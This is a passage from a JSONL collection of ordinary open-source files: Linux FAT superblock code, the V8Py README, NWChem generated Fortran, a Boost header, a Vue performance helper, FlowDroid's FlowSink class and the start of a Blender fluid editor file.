bpb.fat_reserved;\n\tsbi->fat_length = bpb.fat_fat_length;\n\tsbi->root_cluster = 0;\n\tsbi->free_clusters = -1;\t/* Don't know yet */\n\tsbi->free_clus_valid = 0;\n\tsbi->prev_free = FAT_START_ENT;\n\tsb->s_maxbytes = 0xffffffff;\n\tfat_time_fat2unix(sbi, &ts, 0, cpu_to_le16(FAT_DATE_MIN), 0);\n\tsb->s_time_min = ts.tv_sec;\n\n\tfat_time_fat2unix(sbi, &ts, cpu_to_le16(FAT_TIME_MAX),\n\t\t\t cpu_to_le16(FAT_DATE_MAX), 0);\n\tsb->s_time_max = ts.tv_sec;\n\n\tif (!sbi->fat_length && bpb.fat32_length) {\n\t\tstruct fat_boot_fsinfo *fsinfo;\n\t\tstruct buffer_head *fsinfo_bh;\n\n\t\t/* Must be FAT32 */\n\t\tsbi->fat_bits = 32;\n\t\tsbi->fat_length = bpb.fat32_length;\n\t\tsbi->root_cluster = bpb.fat32_root_cluster;\n\n\t\t/* MC - if info_sector is 0, don't multiply by 0 */\n\t\tsbi->fsinfo_sector = bpb.fat32_info_sector;\n\t\tif (sbi->fsinfo_sector == 0)\n\t\t\tsbi->fsinfo_sector = 1;\n\n\t\tfsinfo_bh = sb_bread(sb, sbi->fsinfo_sector);\n\t\tif (fsinfo_bh == NULL) {\n\t\t\tfat_msg(sb, KERN_ERR, \"bread failed, FSINFO block\"\n\t\t\t \" (sector = %lu)\", sbi->fsinfo_sector);\n\t\t\tgoto out_fail;\n\t\t}\n\n\t\tfsinfo = (struct fat_boot_fsinfo *)fsinfo_bh->b_data;\n\t\tif (!IS_FSINFO(fsinfo)) {\n\t\t\tfat_msg(sb, KERN_WARNING, \"Invalid FSINFO signature: \"\n\t\t\t \"0x%08x, 0x%08x (sector = %lu)\",\n\t\t\t le32_to_cpu(fsinfo->signature1),\n\t\t\t le32_to_cpu(fsinfo->signature2),\n\t\t\t sbi->fsinfo_sector);\n\t\t} else {\n\t\t\tif (sbi->options.usefree)\n\t\t\t\tsbi->free_clus_valid = 1;\n\t\t\tsbi->free_clusters = le32_to_cpu(fsinfo->free_clusters);\n\t\t\tsbi->prev_free = le32_to_cpu(fsinfo->next_cluster);\n\t\t}\n\n\t\tbrelse(fsinfo_bh);\n\t}\n\n\t/* interpret volume ID as a little endian 32 bit integer */\n\tif (is_fat32(sbi))\n\t\tsbi->vol_id = bpb.fat32_vol_id;\n\telse /* fat 16 or 12 */\n\t\tsbi->vol_id = bpb.fat16_vol_id;\n\n\tsbi->dir_per_block = sb->s_blocksize / sizeof(struct msdos_dir_entry);\n\tsbi->dir_per_block_bits = ffs(sbi->dir_per_block) - 1;\n\n\tsbi->dir_start = sbi->fat_start + sbi->fats * sbi->fat_length;\n\tsbi->dir_entries = bpb.fat_dir_entries;\n\tif (sbi->dir_entries & (sbi->dir_per_block - 1)) {\n\t\tif (!silent)\n\t\t\tfat_msg(sb, KERN_ERR, \"bogus number of directory entries\"\n\t\t\t \" (%u)\", sbi->dir_entries);\n\t\tgoto out_invalid;\n\t}\n\n\trootdir_sectors = sbi->dir_entries\n\t\t* sizeof(struct msdos_dir_entry) / sb->s_blocksize;\n\tsbi->data_start = sbi->dir_start + rootdir_sectors;\n\ttotal_sectors = bpb.fat_sectors;\n\tif (total_sectors == 0)\n\t\ttotal_sectors = bpb.fat_total_sect;\n\n\ttotal_clusters = (total_sectors - sbi->data_start) / sbi->sec_per_clus;\n\n\tif (!is_fat32(sbi))\n\t\tsbi->fat_bits = (total_clusters > MAX_FAT12) ? 16 : 12;\n\n\t/* some OSes set FAT_STATE_DIRTY and clean it on unmount. */\n\tif (is_fat32(sbi))\n\t\tsbi->dirty = bpb.fat32_state & FAT_STATE_DIRTY;\n\telse /* fat 16 or 12 */\n\t\tsbi->dirty = bpb.fat16_state & FAT_STATE_DIRTY;\n\n\t/* check that FAT table does not overflow */\n\tfat_clusters = calc_fat_clusters(sb);\n\ttotal_clusters = min(total_clusters, fat_clusters - FAT_START_ENT);\n\tif (total_clusters > max_fat(sb)) {\n\t\tif (!silent)\n\t\t\tfat_msg(sb, KERN_ERR, \"count of clusters too big (%u)\",\n\t\t\t total_clusters);\n\t\tgoto out_invalid;\n\t}\n\n\tsbi->max_cluster = total_clusters + FAT_START_ENT;\n\t/* check the free_clusters, it's not necessarily correct */\n\tif (sbi->free_clusters != -1 && sbi->free_clusters > total_clusters)\n\t\tsbi->free_clusters = -1;\n\t/* check the prev_free, it's not necessarily correct */\n\tsbi->prev_free %= sbi->max_cluster;\n\tif (sbi->prev_free < FAT_START_ENT)\n\t\tsbi->prev_free = FAT_START_ENT;\n\n\t/* set up enough so that it can read an inode */\n\tfat_hash_init(sb);\n\tdir_hash_init(sb);\n\tfat_ent_access_init(sb);\n\n\t/*\n\t * The low byte of the first FAT entry must have the same value as\n\t * the media field of the boot sector. But in real world, too many\n\t * devices are writing wrong values. So, removed that validity check.\n\t *\n\t * The removed check compared the first FAT entry to a value dependent\n\t * on the media field like this:\n\t * == (0x0F00 | media), for FAT12\n\t * == (0XFF00 | media), for FAT16\n\t * == (0x0FFFFF | media), for FAT32\n\t */\n\n\terror = -EINVAL;\n\tsprintf(buf, \"cp%d\", sbi->options.codepage);\n\tsbi->nls_disk = load_nls(buf);\n\tif (!sbi->nls_disk) {\n\t\tfat_msg(sb, KERN_ERR, \"codepage %s not found\", buf);\n\t\tgoto out_fail;\n\t}\n\n\t/* FIXME: utf8 is using iocharset for upper/lower conversion */\n\tif (sbi->options.isvfat) {\n\t\tsbi->nls_io = load_nls(sbi->options.iocharset);\n\t\tif (!sbi->nls_io) {\n\t\t\tfat_msg(sb, KERN_ERR, \"IO charset %s not found\",\n\t\t\t sbi->options.iocharset);\n\t\t\tgoto out_fail;\n\t\t}\n\t}\n\n\terror = -ENOMEM;\n\tfat_inode = new_inode(sb);\n\tif (!fat_inode)\n\t\tgoto out_fail;\n\tsbi->fat_inode = fat_inode;\n\n\tfsinfo_inode = new_inode(sb);\n\tif (!fsinfo_inode)\n\t\tgoto out_fail;\n\tfsinfo_inode->i_ino = MSDOS_FSINFO_INO;\n\tsbi->fsinfo_inode = fsinfo_inode;\n\tinsert_inode_hash(fsinfo_inode);\n\n\troot_inode = new_inode(sb);\n\tif (!root_inode)\n\t\tgoto out_fail;\n\troot_inode->i_ino = MSDOS_ROOT_INO;\n\tinode_set_iversion(root_inode, 1);\n\terror = fat_read_root(root_inode);\n\tif (error < 0) {\n\t\tiput(root_inode);\n\t\tgoto out_fail;\n\t}\n\terror = -ENOMEM;\n\tinsert_inode_hash(root_inode);\n\tfat_attach(root_inode, 0);\n\tsb->s_root = d_make_root(root_inode);\n\tif (!sb->s_root) {\n\t\tfat_msg(sb, KERN_ERR, \"get root inode failed\");\n\t\tgoto out_fail;\n\t}\n\n\tif (sbi->options.discard) {\n\t\tstruct request_queue *q = bdev_get_queue(sb->s_bdev);\n\t\tif (!blk_queue_discard(q))\n\t\t\tfat_msg(sb, KERN_WARNING,\n\t\t\t\t\t\"mounting with \\\"discard\\\" option, but \"\n\t\t\t\t\t\"the device does not support discard\");\n\t}\n\n\tfat_set_state(sb, 1, 0);\n\treturn 0;\n\nout_invalid:\n\terror = -EINVAL;\n\tif (!silent)\n\t\tfat_msg(sb, KERN_INFO, \"Can't find a valid FAT filesystem\");\n\nout_fail:\n\tif (fsinfo_inode)\n\t\tiput(fsinfo_inode);\n\tif (fat_inode)\n\t\tiput(fat_inode);\n\tunload_nls(sbi->nls_io);\n\tunload_nls(sbi->nls_disk);\n\tfat_reset_iocharset(&sbi->options);\n\tsb->s_fs_info = NULL;\n\tkfree(sbi);\n\treturn error;\n}\n\nEXPORT_SYMBOL_GPL(fat_fill_super);\n\n/*\n * helper function for fat_flush_inodes. This writes both the inode\n * and the file data blocks, waiting for in flight data blocks before\n * the start of the call. It does not wait for any io started\n * during the call\n */\nstatic int writeback_inode(struct inode *inode)\n{\n\n\tint ret;\n\n\t/* if we used wait=1, sync_inode_metadata waits for the io for the\n\t* inode to finish. So wait=0 is sent down to sync_inode_metadata\n\t* and filemap_fdatawrite is used for the data blocks\n\t*/\n\tret = sync_inode_metadata(inode, 0);\n\tif (!ret)\n\t\tret = filemap_fdatawrite(inode->i_mapping);\n\treturn ret;\n}\n\n/*\n * write data and metadata corresponding to i1 and i2. The io is\n * started but we do not wait for any of it to finish.\n *\n * filemap_flush is used for the block device, so if there is a dirty\n * page for a block already in flight, we will not wait and start the\n * io over again\n */\nint fat_flush_inodes(struct super_block *sb, struct inode *i1, struct inode *i2)\n{\n\tint ret = 0;\n\tif (!MSDOS_SB(sb)->options.flush)\n\t\treturn 0;\n\tif (i1)\n\t\tret = writeback_inode(i1);\n\tif (!ret && i2)\n\t\tret = writeback_inode(i2);\n\tif (!ret) {\n\t\tstruct address_space *mapping = sb->s_bdev->bd_inode->i_mapping;\n\t\tret = filemap_flush(mapping);\n\t}\n\treturn ret;\n}\nEXPORT_SYMBOL_GPL(fat_flush_inodes);\n\nstatic int __init init_fat_fs(void)\n{\n\tint err;\n\n\terr = fat_cache_init();\n\tif (err)\n\t\treturn err;\n\n\terr = fat_init_inodecache();\n\tif (err)\n\t\tgoto failed;\n\n\treturn 0;\n\nfailed:\n\tfat_cache_destroy();\n\treturn err;\n}\n\nstatic void __exit exit_fat_fs(void)\n{\n\tfat_cache_destroy();\n\tfat_destroy_inodecache();\n}\n\nmodule_init(init_fat_fs)\nmodule_exit(exit_fat_fs)\n\nMODULE_LICENSE(\"GPL\");\n"} +{"text": "V8Py\n====\n\nWrite Python APIs, then call them from JavaScript using the V8 engine.\n\n.. code-block:: python\n\n >>> from v8py import Context\n >>> context = Context()\n\n >>> def print_hello():\n ... print 'Hello, world!'\n >>> context.expose(print_hello)\n >>> context.eval('print_hello()')\n Hello, world!\n\n >>> class Greeter(object):\n ... def greet(self, thing):\n ... print 'Welcome, {}!'.format(thing)\n >>> context.expose(Greeter)\n >>> context.eval('g = new Greeter()')\n >>> context.eval('g.greet(\"V8Py\")')\n Welcome, V8Py!\n\nThat kind of thing.\n\nAlmost everything you'd expect to work just works, including:\n\n* Functions\n* Classes (including old style classes, because I can)\n* Inheritance (from the last base class, other base classes are treated as mixins)\n* Data descriptors\n* Static methods and class methods\n* Exceptions (they even subclass from Error!)\n* `Fully meme-compliant `_\n\nSupport\n-------\n\nLinux, Mac is supported for both python2 and python3.\nWindows is also supported, but for python3 only.\n\nInstallation\n------------\n\n.. code-block:: bash\n\n $ pip install v8py\n\nHeads up: it'll be stuck at \"Running setup.py install for v8py\" for literally\nhours. It's downloading and building V8, which is a really big program. If you\nwant to contribute scripts for Travis CI to build and upload wheels for\nMac/Linux, please do so.\n\nMisc\n----\n\nThere is no documentation of any of this yet. No docstrings. The best place to\nlook to find out how to use it is the tests.\n\nI'm writing this so I can create a really lightweight special-purpose webdriver\n(no visual rendering, no asynchronous XHRs), and I need some way of\nimplementing the DOM in Python. So there will definitely be enough\nfunctionality for that. \n\nIf you'd like to use it for something else, by all means go ahead, but you may\nfind something that doesn't quite \"just work\", or works kind of strangely, or\njust stuff I forgot to test. If you find anything, please submit an issue. Or,\neven better, send a pull request.\n\nLast but not least, don't forget to\n\n.. image:: https://img.shields.io/badge/Say%20Thanks-!-1EAEDB.svg \n :target: https://saythanks.io/to/tbodt\n"} +{"text": " SUBROUTINE ccsdt_lr_beta_4_3_5_1_1(d_a,k_a_offset,d_b,k_b_offset,d\n &_c,k_c_offset)\nC $Id$\nC This is a Fortran77 program generated by Tensor Contraction Engine v.1.0\nC Copyright (c) Battelle & Pacific Northwest National Laboratory (2002)\nC i3 ( h8 p1 )_vtra + = 1 * Sum ( h4 p3 ) * tra ( p3 h4 )_tra * v ( h4 h8 p1 p3 )_v\n IMPLICIT NONE\n#include \"global.fh\"\n#include \"mafdecls.fh\"\n#include \"sym.fh\"\n#include \"errquit.fh\"\n#include \"tce.fh\"\n INTEGER d_a\n INTEGER k_a_offset\n INTEGER d_b\n INTEGER k_b_offset\n INTEGER d_c\n INTEGER k_c_offset\n INTEGER nxtask\n INTEGER next\n INTEGER nprocs\n INTEGER count\n INTEGER h8b\n INTEGER p1b\n INTEGER dimc\n INTEGER l_c_sort\n INTEGER k_c_sort\n INTEGER p3b\n INTEGER h4b\n INTEGER p3b_1\n INTEGER h4b_1\n INTEGER h8b_2\n INTEGER h4b_2\n INTEGER p1b_2\n INTEGER p3b_2\n INTEGER dim_common\n INTEGER dima_sort\n INTEGER dima\n INTEGER dimb_sort\n INTEGER dimb\n INTEGER l_a_sort\n INTEGER k_a_sort\n INTEGER l_a\n INTEGER k_a\n INTEGER l_b_sort\n INTEGER k_b_sort\n INTEGER l_b\n INTEGER k_b\n INTEGER l_c\n INTEGER k_c\n EXTERNAL nxtask\n nprocs = GA_NNODES()\n count = 0\n next = nxtask(nprocs,1)\n DO h8b = 1,noab\n DO p1b = noab+1,noab+nvab\n IF (next.eq.count) THEN\n IF ((.not.restricted).or.(int_mb(k_spin+h8b-1)+int_mb(k_spin+p1b-1\n &).ne.4)) THEN\n IF (int_mb(k_spin+h8b-1) .eq. int_mb(k_spin+p1b-1)) THEN\n IF (ieor(int_mb(k_sym+h8b-1),int_mb(k_sym+p1b-1)) .eq. ieor(irrep_\n &v,irrep_tra)) THEN\n dimc = int_mb(k_range+h8b-1) * int_mb(k_range+p1b-1)\n IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL\n & ERRQUIT('ccsdt_lr_beta_4_3_5_1_1',0,MA_ERR)\n CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1)\n DO p3b = noab+1,noab+nvab\n DO h4b = 1,noab\n IF (int_mb(k_spin+p3b-1) .eq. int_mb(k_spin+h4b-1)) THEN\n IF (ieor(int_mb(k_sym+p3b-1),int_mb(k_sym+h4b-1)) .eq. irrep_tra) \n &THEN\n CALL TCE_RESTRICTED_2(p3b,h4b,p3b_1,h4b_1)\n CALL TCE_RESTRICTED_4(h8b,h4b,p1b,p3b,h8b_2,h4b_2,p1b_2,p3b_2)\n dim_common = int_mb(k_range+p3b-1) * int_mb(k_range+h4b-1)\n dima_sort = 1\n dima = dim_common * dima_sort\n dimb_sort = int_mb(k_range+h8b-1) * int_mb(k_range+p1b-1)\n dimb = dim_common * dimb_sort\n IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN\n IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL\n & ERRQUIT('ccsdt_lr_beta_4_3_5_1_1',1,MA_ERR)\n IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT('\n &ccsdt_lr_beta_4_3_5_1_1',2,MA_ERR)\n CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h4b_1\n & - 1 + noab * (p3b_1 - noab - 1)))\n CALL TCE_SORT_2(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p3b-1)\n &,int_mb(k_range+h4b-1),2,1,1.0d0)\n IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('ccsdt_lr_beta_4_3_5_1_1'\n &,3,MA_ERR)\n IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL\n & ERRQUIT('ccsdt_lr_beta_4_3_5_1_1',4,MA_ERR)\n IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT('\n &ccsdt_lr_beta_4_3_5_1_1',5,MA_ERR)\n IF ((h4b .le. h8b) .and. (p3b .lt. p1b)) THEN\n CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p1b_2\n & - 1 + (noab+nvab) * (p3b_2 - 1 + (noab+nvab) * (h8b_2 - 1 + (noab\n &+nvab) * (h4b_2 - 1)))))\n CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h4b-1)\n &,int_mb(k_range+h8b-1),int_mb(k_range+p3b-1),int_mb(k_range+p1b-1)\n &,4,2,1,3,-1.0d0)\n END IF\n IF ((h4b .le. h8b) .and. (p1b .le. p3b)) THEN\n CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p3b_2\n & - 1 + (noab+nvab) * (p1b_2 - 1 + (noab+nvab) * (h8b_2 - 1 + (noab\n &+nvab) * (h4b_2 - 1)))))\n CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h4b-1)\n &,int_mb(k_range+h8b-1),int_mb(k_range+p1b-1),int_mb(k_range+p3b-1)\n &,3,2,1,4,1.0d0)\n END IF\n IF ((h8b .lt. h4b) .and. (p3b .lt. p1b)) THEN\n CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p1b_2\n & - 1 + (noab+nvab) * (p3b_2 - 1 + (noab+nvab) * (h4b_2 - 1 + (noab\n &+nvab) * (h8b_2 - 1)))))\n CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h8b-1)\n &,int_mb(k_range+h4b-1),int_mb(k_range+p3b-1),int_mb(k_range+p1b-1)\n &,4,1,2,3,1.0d0)\n END IF\n IF ((h8b .lt. h4b) .and. (p1b .le. p3b)) THEN\n CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p3b_2\n & - 1 + (noab+nvab) * (p1b_2 - 1 + (noab+nvab) * (h4b_2 - 1 + (noab\n &+nvab) * (h8b_2 - 1)))))\n CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h8b-1)\n &,int_mb(k_range+h4b-1),int_mb(k_range+p1b-1),int_mb(k_range+p3b-1)\n &,3,1,2,4,-1.0d0)\n END IF\n IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('ccsdt_lr_beta_4_3_5_1_1'\n &,6,MA_ERR)\n CALL DGEMM('T','N',dima_sort,dimb_sort,dim_common,1.0d0,dbl_mb(k_a\n &_sort),dim_common,dbl_mb(k_b_sort),dim_common,1.0d0,dbl_mb(k_c_sor\n &t),dima_sort)\n IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('ccsdt_lr_beta_4_3_5\n &_1_1',7,MA_ERR)\n IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('ccsdt_lr_beta_4_3_5\n &_1_1',8,MA_ERR)\n END IF\n END IF\n END IF\n END DO\n END DO\n IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT('\n &ccsdt_lr_beta_4_3_5_1_1',9,MA_ERR)\n CALL TCE_SORT_2(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+p1b-1)\n &,int_mb(k_range+h8b-1),2,1,1.0d0)\n CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(p1b -\n & noab - 1 + nvab * (h8b - 1)))\n IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('ccsdt_lr_beta_4_3_5_1_1'\n &,10,MA_ERR)\n IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('ccsdt_lr_beta_4_3_5\n &_1_1',11,MA_ERR)\n END IF\n END IF\n END IF\n next = nxtask(nprocs,1)\n END IF\n count = count + 1\n END DO\n END DO\n next = nxtask(-nprocs,1)\n call GA_SYNC()\n RETURN\n END\n"} +{"text": "/*\nCopyright Rene Rivera 2013\nDistributed under the Boost Software License, Version 1.0.\n(See accompanying file LICENSE_1_0.txt or copy at\nhttp://www.boost.org/LICENSE_1_0.txt)\n*/\n\n#ifndef BOOST_PREDEF_DETAIL_OS_DETECTED\n#define BOOST_PREDEF_DETAIL_OS_DETECTED 1\n#endif\n"} +{"text": "import { inBrowser } from './env'\n\nexport let mark\nexport let measure\n\nif (process.env.NODE_ENV !== 'production') {\n const perf = inBrowser && window.performance\n /* istanbul ignore if */\n if (\n perf &&\n perf.mark &&\n perf.measure &&\n perf.clearMarks &&\n perf.clearMeasures\n ) {\n mark = tag => perf.mark(tag)\n measure = (name, startTag, endTag) => {\n perf.measure(name, startTag, endTag)\n perf.clearMarks(startTag)\n perf.clearMarks(endTag)\n perf.clearMeasures(name)\n }\n }\n}\n"} +{"text": "package soot.jimple.infoflow.methodSummary.data.sourceSink;\n\nimport java.util.Map;\n\nimport soot.jimple.infoflow.methodSummary.data.summary.GapDefinition;\nimport soot.jimple.infoflow.methodSummary.data.summary.SourceSinkType;\nimport soot.jimple.infoflow.methodSummary.taintWrappers.AccessPathFragment;\nimport soot.jimple.infoflow.methodSummary.xml.XMLConstants;\n\n/**\n * Representation of a flow sink.\n * \n * @author Steven Arzt\n */\npublic class FlowSink extends AbstractFlowSinkSource implements Cloneable {\n\n\tprotected final boolean taintSubFields;\n\n\tpublic FlowSink(SourceSinkType type, int paramterIdx, String baseType, AccessPathFragment accessPath,\n\t\t\tboolean taintSubFields) {\n\t\tsuper(type, paramterIdx, baseType, accessPath, false);\n\t\tthis.taintSubFields = taintSubFields;\n\t}\n\n\tpublic FlowSink(SourceSinkType type, int paramterIdx, String baseType, AccessPathFragment accessPath,\n\t\t\tboolean taintSubFields, GapDefinition gap) {\n\t\tsuper(type, paramterIdx, baseType, accessPath, gap, false);\n\t\tthis.taintSubFields = taintSubFields;\n\t}\n\n\tpublic FlowSink(SourceSinkType type, int paramterIdx, String baseType, AccessPathFragment accessPath,\n\t\t\tboolean taintSubFields, GapDefinition gap, boolean matchStrict) {\n\t\tsuper(type, paramterIdx, baseType, accessPath, gap, matchStrict);\n\t\tthis.taintSubFields = taintSubFields;\n\t}\n\n\tpublic FlowSink(SourceSinkType type, int paramterIdx, String baseType, AccessPathFragment accessPath,\n\t\t\tboolean taintSubFields, GapDefinition gap, Object userData, boolean matchStrict) {\n\t\tsuper(type, paramterIdx, baseType, accessPath, gap, userData, matchStrict);\n\t\tthis.taintSubFields = taintSubFields;\n\t}\n\n\tpublic FlowSink(SourceSinkType type, int paramterIdx, String baseType, boolean taintSubFields) {\n\t\tsuper(type, paramterIdx, baseType, null, null, false);\n\t\tthis.taintSubFields = taintSubFields;\n\t}\n\n\tpublic FlowSink(SourceSinkType type, int paramterIdx, String baseType, boolean taintSubFields, GapDefinition gap) {\n\t\tsuper(type, paramterIdx, baseType, null, gap, null, false);\n\t\tthis.taintSubFields = taintSubFields;\n\t}\n\n\tpublic FlowSink(SourceSinkType type, int paramterIdx, String baseType, boolean taintSubFields, GapDefinition gap,\n\t\t\tObject userData) {\n\t\tsuper(type, paramterIdx, baseType, null, gap, userData, false);\n\t\tthis.taintSubFields = taintSubFields;\n\t}\n\n\tpublic FlowSink(SourceSinkType type, String baseType, AccessPathFragment accessPath, boolean taintSubFields2,\n\t\t\tboolean matchStrict) {\n\t\tsuper(type, -1, baseType, accessPath, matchStrict);\n\t\tthis.taintSubFields = taintSubFields2 || (accessPath != null && accessPath.length() > this.accessPath.length());\n\t}\n\n\tpublic FlowSink(SourceSinkType type, String baseType, AccessPathFragment accessPath, boolean taintSubFields2,\n\t\t\tGapDefinition gap, boolean matchStrict) {\n\t\tsuper(type, -1, baseType, accessPath, gap, matchStrict);\n\t\tthis.taintSubFields = taintSubFields2 || (accessPath != null && accessPath.length() > this.accessPath.length());\n\t}\n\n\tpublic boolean taintSubFields() {\n\t\treturn taintSubFields;\n\t}\n\n\t/**\n\t * Checks whether the current source or sink is coarser than the given one,\n\t * i.e., if all elements referenced by the given source or sink are also\n\t * referenced by this one\n\t * \n\t * @param src The source or sink with which to compare the current one\n\t * @return True if the current source or sink is coarser than the given one,\n\t * otherwise false\n\t */\n\t@Override\n\tpublic boolean isCoarserThan(AbstractFlowSinkSource other) {\n\t\treturn super.isCoarserThan(other) && other instanceof FlowSink && this.taintSubFields;\n\t}\n\n\t@Override\n\tpublic Map xmlAttributes() {\n\t\tMap res = super.xmlAttributes();\n\t\tres.put(XMLConstants.ATTRIBUTE_TAINT_SUB_FIELDS, taintSubFields() + \"\");\n\t\treturn res;\n\t}\n\n\t@Override\n\tpublic String toString() {\n\t\tif (isGapBaseObject() && getGap() != null)\n\t\t\treturn \"Gap base for \" + getGap().getSignature();\n\n\t\tString gapString = getGap() == null ? \"\" : \"Gap \" + getGap().getSignature() + \" \";\n\n\t\tif (isParameter())\n\t\t\treturn gapString + \"Parameter \" + getParameterIndex()\n\t\t\t\t\t+ (accessPath == null ? \"\" : \" \" + AccessPathFragment.toString(accessPath)) + \" \"\n\t\t\t\t\t+ taintSubFields();\n\n\t\tif (isField())\n\t\t\treturn gapString + \"Field\" + (accessPath == null ? \"\" : \" \" + AccessPathFragment.toString(accessPath)) + \" \"\n\t\t\t\t\t+ taintSubFields();\n\n\t\tif (isReturn())\n\t\t\treturn gapString + \"Return\" + (accessPath == null ? \"\" : \" \" + AccessPathFragment.toString(accessPath))\n\t\t\t\t\t+ \" \" + taintSubFields();\n\n\t\tif (isCustom())\n\t\t\treturn \"CUSTOM \" + gapString + \"Parameter \" + getParameterIndex()\n\t\t\t\t\t+ (accessPath == null ? \"\" : \" \" + AccessPathFragment.toString(accessPath));\n\n\t\treturn \"invalid sink\";\n\t}\n\n\t@Override\n\tpublic int hashCode() {\n\t\treturn super.hashCode() + (31 * (taintSubFields ? 1 : 0));\n\t}\n\n\t@Override\n\tpublic boolean equals(Object obj) {\n\t\tif (!super.equals(obj))\n\t\t\treturn false;\n\n\t\treturn this.taintSubFields == ((FlowSink) obj).taintSubFields;\n\t}\n\n\t/**\n\t * Validates this flow sink\n\t * \n\t * @param methodName The name of the containing method. This will be used to\n\t * give more context in exception messages\n\t */\n\tpublic void validate(String methodName) {\n\t\tif (getType() == SourceSinkType.GapBaseObject && getGap() == null)\n\t\t\tthrow new InvalidFlowSpecificationException(\n\t\t\t\t\t\"Gap base flows must always be linked with gaps. Offending method: \" + methodName, this);\n\n\t\tif (getType() == SourceSinkType.Parameter && getGap() == null)\n\t\t\tthrow new InvalidFlowSpecificationException(\"Parameters may only be sinks when referencing gaps\", this);\n\t}\n\n\t@Override\n\tpublic FlowSink replaceGaps(Map replacementMap) {\n\t\tif (gap == null)\n\t\t\treturn this;\n\t\tGapDefinition newGap = replacementMap.get(gap.getID());\n\t\tif (newGap == null)\n\t\t\treturn this;\n\t\treturn new FlowSink(type, parameterIdx, baseType, accessPath, taintSubFields, newGap, matchStrict);\n\t}\n\n\t@Override\n\tprotected Object clone() throws CloneNotSupportedException {\n\t\treturn new FlowSink(type, parameterIdx, baseType, accessPath, taintSubFields, gap, userData, matchStrict);\n\t}\n\n}\n"} +{"text": "/*\n * ***** BEGIN GPL LICENSE BLOCK *****\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\n * The Original Code is Copyright (C) Blender Foundation\n * All rights reserved.\n *\n * The Original Code is: all of this file.\n *\n * Contributor(s): Sebastian Barschkis (sebbas)\n *\n * ***** END GPL LICENSE BLOCK *****\n */\n\n/** \\file blender/editors/physics/physics_fluid.c\n * \\ingroup edphys\n */\n\n#include \n#include \n#include \n#include \n\n#include \"MEM_guardedalloc.h\"\n\n/* types */\n#include \"DNA_action_types.h\"\n#include \"DNA_object_types.h\"\n\n#include \"BLI_blenlib.h\"\n#include \"BLI_path_util.h\"\n#include \"BLI_math.h\"\n#include \"BLI_utildefines.h\"\n\n#include \"BLT_translation.h\"\n\n#include \"BKE_context.h\"\n#include \"BKE_customdata.h\"\n#include \"BKE_main.h\"\n#include \"BKE_modifier.h\"\n#include \"BKE_object.h\"\n#include \"BKE_report.h\"\n#include \"BKE_scene.h\"\n#include \"BKE_screen.h\"\n#include \"BKE_fluid.h\"\n#include \"BKE_global.h\"\n\n#include \"DEG_depsgraph.h\"\n\n#include \"ED_screen.h\"\n#include \"PIL_time.h\"\n\n#include \"WM_types.h\"\n#include \"WM_api.h\"\n\n#include \"physics_intern.h\" // own include\n#include \"manta_fluid_API.h\"\n\n#include \"DNA_scene_types.h\"\n#include \"DNA_fluid_types.h\"\n#include \"DNA_mesh_types.h\"\n\n#define FLUID_JOB_BAKE_ALL \"FLUID_OT_bake_all\"\n#define FLUID_JOB_BAKE_DATA \"FLUID_OT_bake_data\"\n#define FLUID_JOB_BAKE_NOISE \"FLUID_OT_bake_noise\"\n#define FLUID_JOB_BAKE_MESH \"FLUID_OT_bake_mesh\"\n#define FLUID_JOB_BAKE_PARTICLES \"FLUID_OT_bake_particles\"\n#define FLUID_JOB_BAKE_GUIDING \"FLUID_OT_bake_guiding\"\n#define FLUID_JOB_FREE_ALL \"FLUID_OT_free_all\"\n#define FLUID_JOB_FREE_DATA \"FLUID_OT_free_data\"\n#define FLUID_JOB_FREE_NOISE \"FLUID_OT_free_noise\"\n#define FLUID_JOB_FREE_MESH \"FLUID_OT_free_mesh\"\n#define FLUID_JOB_FREE_PARTICLES \"FLUID_OT_free_particles\"\n#define FLUID_JOB_FREE_GUIDING \"FLUID_OT_free_guiding\"\n#define FLUID_JOB_BAKE_PAUSE \"FLUID_OT_pause_bake\"\n\ntypedef struct FluidJob {\n /* from wmJob */\n void *owner;\n short *stop, *do_update;\n float *progress;\n const char *type;\n const char 